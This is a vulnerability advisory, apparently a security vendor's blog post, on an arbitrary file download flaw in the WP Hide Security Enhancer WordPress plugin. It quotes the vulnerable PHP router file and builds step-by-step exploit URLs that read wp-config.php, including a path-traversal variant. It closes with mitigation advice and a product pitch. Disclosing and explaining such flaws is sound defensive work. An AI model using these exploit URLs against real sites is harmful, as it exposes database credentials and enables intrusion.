WP Hide Security Enhancer is a security plugin used to hide your WordPress installation. It has been developed by NSP Code. On 15th February 2017, the plugin author has been warned, and the fixes were done pretty quickly, thanks to him.
Critical Flaw
WP Hide Security Enhancer version 1.3.9.2 or less is victim of an Arbitrary File Download vulnerability. This allows any visitor to download any file in our installation. As you already guessed, it’s a critical flaw.
How does it work?
Sadly it’s very simple to exploit it:
In the /router/
folder you can find a file-process.php
file.
[pastacode lang=”php” manual=”%3C%3Fphp%0A%0A%20%20%20%20error_reporting(0)%3B%0A%20%20%20%20%0A%20%20%20%20%24action%20%20%20%20%20%3D%20%20%20isset(%24_GET%5B’action’%5D)%20%20%20%20%20%20%3F%20%20%20%24_GET%5B’action’%5D%20%20%20%20%20%3A%20%20%20”%3B%0A%20%20%20%20%24file_path%20%20%3D%20%20%20isset(%24_GET%5B’file_path’%5D)%20%20%20%3F%20%20%20%24_GET%5B’file_path’%5D%20%20%3A%20%20%20”%3B%0A%20%20%20%20%0A%20%20%20%20if(empty(%24action)%20%20%20%7C%7C%20%20empty(%24file_path))%0A%20%20%20%20%20%20%20%20die()%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%2F%2Fappend%20doc%20root%20to%20path%20%0A%20%20%20%20%24file_path%20%20%3D%20%20%20%24_SERVER%5B%22DOCUMENT_ROOT%22%5D%20.%20%20%20%24file_path%3B%20%20%0A%20%20%20%20%0A%20%20%20%20%2F%2Fcheck%20if%20file%20exists%0A%20%20%20%20if%20(!file_exists(%24file_path))%0A%20%20%20%20%20%20%20%20die()%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%24WPH_FileProcess%20%20%3D%20%20%20new%20WPH_FileProcess()%3B%0A%20%20%20%20%0A%20%20%20%20%24WPH_FileProcess-%3Eaction%20%20%20%20%20%20%20%20%3D%20%20%20%24action%3B%0A%20%20%20%20%24WPH_FileProcess-%3Efile_path%20%20%20%20%20%3D%20%20%20%24file_path%3B%0A%20%20%20%20%0A%20%20%20%20%24WPH_FileProcess-%3Erun()%3B%20%20%20%20%0A%0A%20%20%20%20class%20WPH_FileProcess%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20%24action%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20%24file_path%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20__construct()%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20ob_start(%22ob_gzhandler%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20__destruct()%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_contents()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20ob_end_clean()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%24out%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20run()%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20switch(%24this-%3Eaction)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20case%20’style-clean’%20%20%3A%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Estyle_clean()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20style_clean()%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2Foutput%20headers%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24expires_offset%20%3D%2031536000%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20header(‘Content-Type%3A%20text%2Fcss%3B%20charset%3DUTF-8’)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20header(‘Expires%3A%20’%20.%20gmdate(%20%22D%2C%20d%20M%20Y%20H%3Ai%3As%22%2C%20time()%20%2B%20%24expires_offset%20)%20.%20’%20GMT’)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20header(%22Cache-Control%3A%20public%2C%20max-age%3D%24expires_offset%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20header(‘Last-Modified%3A%20’.gmdate(‘D%2C%20d%20M%20Y%20H%3Ai%3As’%2C%20filemtime(%24this-%3Efile_path)).’%20GMT’%2C%20true)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24handle%20%20%20%20%20%20%20%20%20%3D%20fopen(%24this-%3Efile_path%2C%20%22r%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24file_data%20%20%20%20%20%20%3D%20fread(%24handle%2C%20filesize(%24this-%3Efile_path))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20fclose(%24handle)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24file_data%20%20%3D%20%20%20preg_replace(‘!%2F%5C*.*%3F%5C*%2F!s’%2C%20”%2C%20%24file_data)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24file_data%20%20%3D%20%20%20preg_replace(%22%2F(%5E%5B%5Cr%5Cn%5D*%7C%5B%5Cr%5Cn%5D%2B)%5B%5Cs%5Ct%5D*%5B%5Cr%5Cn%5D%2B%2F%22%2C%20%22%5Cn%22%2C%20%24file_data)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%24file_data%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%0A%3F%3E” message=”/wp-hide-security-enhancer/router/file-process.php” highlight=”” provider=”manual”/]
This file is not included in WordPress, so, there is no way that a WordPress Security plugin can catch that. You need a Web Application Firewall to do it.
But do what? All an attacker need is 2 parameters in the URL as requested in line 8:
http://example.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=…&file_path=…
Now, line 15 excepts an existing file. And an attacker knows an existing AND interesting file on your installation, which is wp-config.php
.
http://example.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=…&file_path=/wp-config.php
Now, line 47 excepts an action named style-clean
as simple as it is.
http://example.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/wp-config.php
Here we go, this URL will be used by the attacker to display on his screen the file content.
Am I Protected?
You may already applied some script to protect your wp-config.php
file. I’m sorry to tell you that, it does not work like that.
.htaccess
You may read that you can add some rules in your .htaccess
file to protect it, rules like that:
[pastacode lang=”markup” manual=”%3Cfiles%20wp-config.php%3E%0Aorder%20allow%2Cdeny%0Adeny%20from%20all%0A%3C%2Ffiles%3E%0A” message=”Don’t do that.” highlight=”” provider=”manual”/]
This does NOT protect you from this vulnerability. Why? Just because this protection only forbid direct access to the file from a browser, but not from a PHP script.
Folded Up
You may also read that you can protect you wp-config.php
file by raising it in the file tree, so it’s not accessible anymore from your front-end. Yes, that’s true, but that’s all. A PHP script still can access to it:
http://example.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/../wp-config.php
How To Stay Safe With That Kind Of Flaw?
This kind of vulnerability happens a lot, giving access to thewp-config.php
file is not cool, if you remember in 2014 the plugin revslider had the exact same issue.
You have to block some words in your URLs, because neither WordPress, nor you, nor a user, nor a client need to use this filename in a URL.
If you’re already using SecuPress Pro, you’re already protected fro that kind of attacks.